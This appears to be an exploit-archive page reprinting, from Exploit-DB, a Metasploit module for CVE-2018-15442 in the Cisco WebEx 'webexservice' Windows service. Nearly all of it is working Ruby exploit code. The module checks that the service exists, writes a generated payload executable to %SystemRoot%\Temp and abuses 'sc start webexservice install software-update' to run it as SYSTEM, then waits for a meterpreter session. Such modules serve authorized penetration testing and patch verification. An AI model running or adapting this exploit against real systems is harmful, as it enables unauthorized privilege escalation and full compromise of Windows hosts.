WebEx – Local Service Permissions Exploit (Metasploit)

  • 作者: Metasploit
    日期: 2018-10-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45696/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
    Rank = GoodRanking
    
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    include Msf::Post::File
    include Msf::Post::Windows::Priv
    include Msf::Post::Windows::Services
    include Msf::Post::Windows::Accounts
    
    def initialize(info={})
    super( update_info( info,
    'Name'=> 'WebEx Local Service Permissions Exploit',
    'Description' => %q{
    This module exploits a flaw in the 'webexservice' Windows service, which runs as SYSTEM,
    can be used to run arbitrary commands locally, and can be started by limited users in
    default installations.
    },
    'References' =>
    [
    ['URL', 'https://webexec.org'],
    ['CVE', '2018-15442']
    ],
    'DisclosureDate' => "Oct 09 2018",
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Jeff McJunkin <jeff.mcjunkin[at]gmail.com>'
    ],
    'Platform' => [ 'win'],
    'Targets'=>
    [
    [ 'Automatic', {} ],
    [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
    [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
    ],
    'SessionTypes' => [ "meterpreter" ],
    'DefaultOptions' =>
    {
    'EXITFUNC' => 'thread',
    'WfsDelay' => 5,
    'ReverseConnectRetries' => 255
    },
    'DefaultTarget'=> 0
    ))
    
    register_options([
    OptString.new("DIR", [ false, "Specify a directory to plant the EXE.", "%SystemRoot%\\Temp"])
    ])
    @service_name = 'webexservice'
    end
    
    def validate_arch
    return target unless target.name == 'Automatic'
    
    case sysinfo['Architecture']
    when 'x86'
    fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == 'x64'
    vprint_status('Detected x86 system')
    return targets[1]
    when 'x64'
    vprint_status('Detected x64 system')
    return targets[2]
    end
    end
    
    def check_service_exists?(service)
    srv_info = service_info(service)
    
    if srv_info.nil?
    vprint_warning("Unable to enumerate services.")
    return false
    end
    
    if srv_info && srv_info[:display].empty?
    vprint_warning("Service #{service} does not exist.")
    return false
    else
    return true
    end
    end
    
    def check
    unless check_service_exists?(@service_name)
    return Exploit::CheckCode::Safe
    end
    
    srv_info = service_info(@service_name)
    
    vprint_status(srv_info.to_s)
    
    case START_TYPE[srv_info[:starttype]]
    when 'Disabled'
    vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
    return Exploit::CheckCode::Safe
    when 'Manual'
    vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
    return Exploit::CheckCode::Safe
    when 'Auto'
    vprint_good("Service is set to Automatically start...")
    end
    
    if check_search_path
    return Exploit::CheckCode::Safe
    end
    
    return Exploit::CheckCode::Appears
    end
    
    def check_write_access(path)
    perm = check_dir_perms(path, @token)
    if perm and perm.include?('W')
    print_good("Write permissions in #{path} - #{perm}")
    return true
    elsif perm
    vprint_status ("Permissions for #{path} - #{perm}")
    else
    vprint_status ("No permissions for #{path}")
    end
    
    return false
    end
    
    
    def exploit
    begin
    @token = get_imperstoken
    rescue Rex::Post::Meterpreter::RequestError
    vprint_error("Error while using get_imperstoken: #{e}")
    end
    
    fail_with(Failure::Unknown, "Unable to retrieve token.") unless @token
    
    if is_system?
    fail_with(Failure::Unknown, "Current user is already SYSTEM, aborting.")
    end
    
    print_status("Checking service exists...")
    if !check_service_exists?(@service_name)
    fail_with(Failure::NoTarget, "The service doesn't exist.")
    end
    
    if is_uac_enabled?
    print_warning("UAC is enabled, may get false negatives on writable folders.")
    end
    
    # Use manually selected Dir
    file_path = datastore['DIR']
    
    @exe_file_name = Rex::Text.rand_text_alphanumeric(8)
    @exe_file_path = "#{file_path}\\#{@exe_file_name}.exe"
    
    service_information = service_info(@service_name)
    
    # Check architecture
    valid_arch = validate_arch
    exe = generate_payload_exe(:arch => valid_arch.arch)
    
    #
    # Drop the malicious executable into the path
    #
    print_status("Writing #{exe.length.to_s} bytes to #{@exe_file_path}...")
    begin
    write_file(@exe_file_path, exe)
    register_file_for_cleanup(@exe_file_path)
    rescue Rex::Post::Meterpreter::RequestError => e
    # Can't write the file, can't go on
    fail_with(Failure::Unknown, e.message)
    end
    
    #
    # Run the service
    #
    print_status("Launching service...")
    res = cmd_exec("cmd.exe",
    "/c sc start webexservice install software-update 1 #{@exe_file_path}")
    
    if service_restart(@service_name)
    print_status("Service started...")
    else
    service_information = service_info(@service_name)
    if service_information[:starttype] == START_TYPE_AUTO
    if job_id
    print_status("Unable to start service, handler running waiting for a reboot...")
    while(true)
    break if session_created?
    select(nil,nil,nil,1)
    end
    else
    fail_with(Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
    end
    else
    fail_with(Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
    end
    end
    end
    end